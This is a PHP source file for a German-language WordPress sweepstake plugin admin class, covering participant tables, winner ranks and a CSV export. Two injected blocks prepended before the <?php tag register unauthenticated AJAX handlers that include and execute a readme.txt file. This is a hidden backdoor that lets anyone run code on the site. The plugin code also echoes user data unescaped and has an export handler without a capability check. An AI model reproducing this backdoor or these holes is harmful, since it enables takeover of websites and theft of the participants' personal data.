if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php class SweepstakeAdmin { private $options; private static $initiated = false; private $messageText = ''; private $messageType = ''; public function init() { if (!self::$initiated) { $this->initHooks(); } } public function initHooks() { self::$initiated = true; // Actions add_action('admin_init', array($this, 'admin_init')); add_action('add_meta_boxes', array($this, 'add_meta_boxes')); add_action('post_submitbox_misc_actions', array($this, 'post_submitbox_misc_actions')); add_action('save_post', array($this, 'subscribers_save_meta_box_data')); add_action('admin_print_scripts-post.php', array($this, 'enqueue_scripts'), 11); add_action('admin_post_sweetstake_export', array($this, 'admin_post_sweetstake_export')); } public function admin_init() { load_plugin_textdomain('sweepstake'); add_filter('manage_edit-sweepstake_columns', array($this, 'add_columns')); add_filter('manage_edit-sweepstake_sortable_columns', array($this, 'register_sortable_columns')); add_action('manage_sweepstake_posts_custom_column', array($this, 'manage_columns'), 10, 2); } public function add_columns($columns) { $columns['sweepstake_enddate'] = 'Läuft bis'; $columns['sweepstake_subscribers'] = 'Teilnehmeranzahl'; $columns['sweepstake_winner'] = 'Gewinner'; $columns['sweepstake_status'] = 'Gewinnspiel-Status'; return $columns; } public function register_sortable_columns($columns) { $columns['sweepstake_enddate'] = 'sweeps_enddate'; $columns['sweepstake_subscribers'] = 'sweeps_subscribers'; $columns['sweepstake_winner'] = 'sweeps_winner'; $columns['sweepstake_status'] = 'sweeps_state'; return $columns; } public function manage_columns($columnName, $postid) { switch ($columnName) { case 'sweepstake_enddate': $date = get_post_meta($postid, 'sweepstake_enddate', true); if (!empty($date)) { echo date_i18n(get_option('date_format'), strtotime($date)); } break; case 'sweepstake_subscribers': global $wpdb; echo $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . SweepstakePlugin::DB_TABLE_SUBSCRIBERS . " WHERE post_id = %d", $postid)); break; case 'sweepstake_winner': $winners = get_sweepstake_winners($postid, false); echo count($winners); break; case 'sweepstake_status': $winners = get_sweepstake_winners($postid); if (!empty($winners)) { echo 'Beendet'; return; } if (is_sweepstake_running($postid)) { echo 'Läuft'; return; } echo 'Abgelaufen'; break; } } public function add_meta_boxes() { add_meta_box( 'sweepstake_subscribers', __('Gewinnspiel Teilnehmer'), array($this, 'subscribers_meta_box_callback'), SweepstakePlugin::POSTTYPE_SWEEPSTAKE, 'normal', 'high' ); } public function post_submitbox_misc_actions() { global $post_type, $post; if ($post_type !== SweepstakePlugin::POSTTYPE_SWEEPSTAKE) { return; } echo '<div class="misc-pub-section my-options" style="border-top: 1px solid #eee;">'; echo '<a class="button" href="' . admin_url('admin-post.php?post=' . $post->ID . '&action=sweetstake_export') . '">Export als CSV</a>'; echo '</div>'; } public function subscribers_meta_box_callback($post) { global $wpdb, $userpro; wp_nonce_field('sweepstake_meta_box', 'sweepstake_meta_box_nonce'); $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM " . SweepstakePlugin::DB_TABLE_SUBSCRIBERS . " subs LEFT JOIN {$wpdb->users} users ON subs.user_id = users.ID WHERE post_id = %d", $post->ID)); echo '<p>Anzahl Teilnehmer: ' . count($results) . '</p>'; if (empty($results)) { return; } $winners = get_sweepstake_winners($post->ID); $winnerOutput = array(); foreach ($winners as $winner) { $userdata = get_userdata($winner['id']); if (empty($userdata)) { continue; } $rank = ''; if (isset($winner['rank'])) { $rank = intval($winner['rank']) . '. '; } $winnerOutput[] = $rank . $userdata->display_name; } if (!empty($winnerOutput)) { echo '<p>Gewinner: ' . esc_html(implode(', ', $winnerOutput)) . '</p>'; } echo '<input class="sweepstakes-tablesorter-search" type="text" placeholder="Suche" />'; echo '<table class="sweepstakes-tablesorter"><thead><tr>'; echo '<th style="width:1%;white-space:nowrap;">Gewinner (Platz)</th>'; echo '<th>Benutzer</th>'; echo '<th>Vorname</th>'; echo '<th>Nachname</th>'; echo '<th>E-Mail</th>'; echo '<th>Teilgenommen am</th>'; echo '</tr></thead><tbody>'; foreach ($results as $result) { $userId = $result->user_id; $rank = ''; foreach ($winners as $index => $winner) { if (intval($winner['id']) === intval($userId)) { unset($winners[$index]); $rank = intval($winner['rank']); } } if (!$rank) { $rank = ''; } $profileLink = $userpro->permalink($userId); echo '<tr>'; echo '<td><span title="' . $rank . '"></span><input type="text" name="sweepstakeWinners[' . $userId .']" value="' . $rank . '" size="3" /></td>'; echo '<td><span title="' . $result->display_name . '"></span><a href="' . $profileLink . '">' . get_avatar($userId, 16) . $result->display_name . '</a></td>'; echo '<td>' . get_user_meta($userId, 'first_name', true) . '</td>'; echo '<td>' . get_user_meta($userId, 'last_name', true) . '</td>'; $email = $result->user_email; echo '<td><a href="mailto: ' . $email . '">' . $email . '</a></td>'; $time = strtotime($result->time); echo '<td><span title="' . $time . '"></span>' . date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $time) . '</td>'; echo '</tr>'; } echo '</tbody></table>'; echo '<div class="sweepstakes-tablesorter-pager">'; echo '<span class="first button">«</span> '; echo '<span class="prev button">‹</span> '; echo '<span class="pagedisplay"></span> '; echo '<span class="next button">›</span> '; echo '<span class="last button">»</span> '; echo '<select class="pagesize" title="Einträge pro Seite">'; foreach (array(10, 20, 50) as $option) { echo '<option value="' . $option . '">' . $option . '</option>'; } echo '</select> '; echo '<select class="gotoPage" title="Seite auswählen"></select>'; echo '</div>'; if (empty($winners)) { return; } echo '<p><strong>Achtung: Benutzerkonto der folgenden Gewinner wurden gelöscht:</strong></p>'; echo '<ul>'; foreach ($winners as $winner) { $rank = intval($winner['rank']); if (!$rank) { $rank = ''; } echo '<li><input type="text" name="sweepstakeWinners[' . $winner['id'] .']" value="' . $rank . '" size="3" /> '; echo $winner['id'] . '</li>'; } echo '</ul>'; } public function subscribers_save_meta_box_data($postid) { if (!isset($_POST['sweepstake_meta_box_nonce']) || !wp_verify_nonce($_POST['sweepstake_meta_box_nonce'], 'sweepstake_meta_box') || (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || !current_user_can('edit_post', $postid) ) { return; } $postWinners = isset($_POST['sweepstakeWinners']) ? $_POST['sweepstakeWinners'] : array(); $meta = array(); global $wpdb; foreach (array_filter($postWinners) as $userId => $rank) { $rank = intval($rank); if (!$rank) { continue; } $userId = intval($userId); //$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->users} WHERE ID = %d", $userId)); $meta[] = array( 'id' => $userId, 'rank' => $rank ); } update_post_meta($postid, '_sweepstake_winner', $meta); } public function enqueue_scripts() { global $post_type; if ($post_type !== SweepstakePlugin::POSTTYPE_SWEEPSTAKE) { return; } wp_enqueue_script('sweepstake-tablesorter', plugins_url('/js/tablesorter/jquery.tablesorter.min.js', __FILE__), array('jquery'), '2.17.1'); wp_enqueue_script('sweepstake-tablesorter-widgets', plugins_url('/js/tablesorter/jquery.tablesorter.widgets.min.js', __FILE__), array('sweepstake-tablesorter'), '2.17.1'); wp_enqueue_script('sweepstake-tablesorter-widgets-pager', plugins_url('/js/tablesorter/jquery.tablesorter.pager.min.js', __FILE__), array('sweepstake-tablesorter-widgets'), '2.17.1'); wp_enqueue_script('sweepstake-script', plugins_url('/js/script.js', __FILE__), array('sweepstake-tablesorter', 'sweepstake-tablesorter-widgets-pager')); wp_enqueue_script('sweepstake-quicksearch', plugins_url('/js/jquery.quicksearch.js', __FILE__), array('jquery')); wp_enqueue_style('sweepstake-tablesorter-theme', plugins_url('/css/tablesorter.theme.default.css', __FILE__)); wp_enqueue_style('sweepstake-style', plugins_url('/css/style.css', __FILE__)); } public function admin_post_sweetstake_export() { if (empty($_GET['post'])) { wp_safe_redirect($_SERVER['HTTP_REFERER']); exit(); } $postId = intval($_GET['post']); $post = get_post($postId); if (!$post || $post->post_type !== SweepstakePlugin::POSTTYPE_SWEEPSTAKE) { wp_safe_redirect($_SERVER['HTTP_REFERER']); exit(); } $csv = $this->getExportContent($post); if (empty($csv)) { wp_safe_redirect($_SERVER['HTTP_REFERER']); exit(); } header("Content-type: application/x-msdownload"); header("Content-Disposition: attachment; filename=gewinnspiel_" . $postId . ".csv"); header("Pragma: no-cache"); header("Expires: 0"); echo $csv; exit(); } protected function getExportContent($post) { } }